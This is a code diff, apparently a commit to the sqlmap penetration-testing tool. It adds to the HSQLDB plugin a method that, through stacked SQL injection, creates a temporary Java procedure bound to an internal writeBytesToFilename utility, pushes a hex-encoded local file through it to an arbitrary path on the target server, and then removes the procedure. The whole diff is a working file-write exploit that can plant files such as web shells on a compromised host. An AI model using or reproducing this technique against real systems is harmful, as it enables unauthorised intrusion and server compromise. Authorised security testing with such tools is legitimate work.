55See the file 'LICENSE' for copying permission
66"""
77
8+ from lib .core .common import randomStr
9+ from lib .core .data import kb
10+ from lib .core .data import logger
11+ from lib .core .decorators import stackedmethod
12+ from lib .core .enums import PLACE
13+ from lib .request import inject
814from lib .core .exception import SqlmapUnsupportedFeatureException
915from plugins .generic .filesystem import Filesystem as GenericFilesystem
1016
@@ -13,6 +19,45 @@ def readFile(self, remoteFile):
1319 errMsg = "on HSQLDB it is not possible to read files"
1420 raise SqlmapUnsupportedFeatureException (errMsg )
1521
16- def writeFile (self , localFile , remoteFile , fileType = None , forceCheck = False ):
17- errMsg = "on HSQLDB it is not possible to write files"
18- raise SqlmapUnsupportedFeatureException (errMsg )
22+ @stackedmethod
23+ def stackedWriteFile (self , localFile , remoteFile , fileType = None , forceCheck = False ):
24+
25+ funcName = randomStr ()
26+ MAX_BYTES = 2 ** 20
27+
28+ debugMsg = "creating a Java Language Procedure '%s'" % funcName
29+ logger .debug (debugMsg )
30+
31+ addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName , MAX_BYTES )
32+ addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
33+ addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
34+ inject .goStacked (addFuncQuery )
35+
36+ logger .debug ("encoding file to its hexadecimal string value" )
37+
38+ fcEncodedList = self .fileEncode (localFile , "hex" , True )
39+ fcEncodedStr = fcEncodedList [0 ][2 :]
40+ fcEncodedStrLen = len (fcEncodedStr )
41+
42+ if kb .injection .place == PLACE .GET and fcEncodedStrLen > 8000 :
43+ warnMsg = "the injection is on a GET parameter and the file "
44+ warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
45+ warnMsg += "bytes, this might cause errors in the file "
46+ warnMsg += "writing process"
47+ logger .warn (warnMsg )
48+
49+ debugMsg = "exporting the %s file content to file '%s'" % (fileType , remoteFile )
50+ logger .debug (debugMsg )
51+
52+ # http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
53+ invokeQuery = "call %s('%s', cast ('%s' AS VARBINARY(%s)))" % (funcName , remoteFile , fcEncodedStr , MAX_BYTES )
54+ inject .goStacked (invokeQuery )
55+
56+ logger .debug ("removing procedure %s from DB" % funcName )
57+ delQuery = "DELETE PROCEDURE " + funcName
58+ inject .goStacked (delQuery )
59+
60+ message = "the local file '%s' has been successfully written on the back-end DBMS" % localFile
61+ message += "file system ('%s')" % remoteFile
62+ logger .info (message )
63+
0 commit comments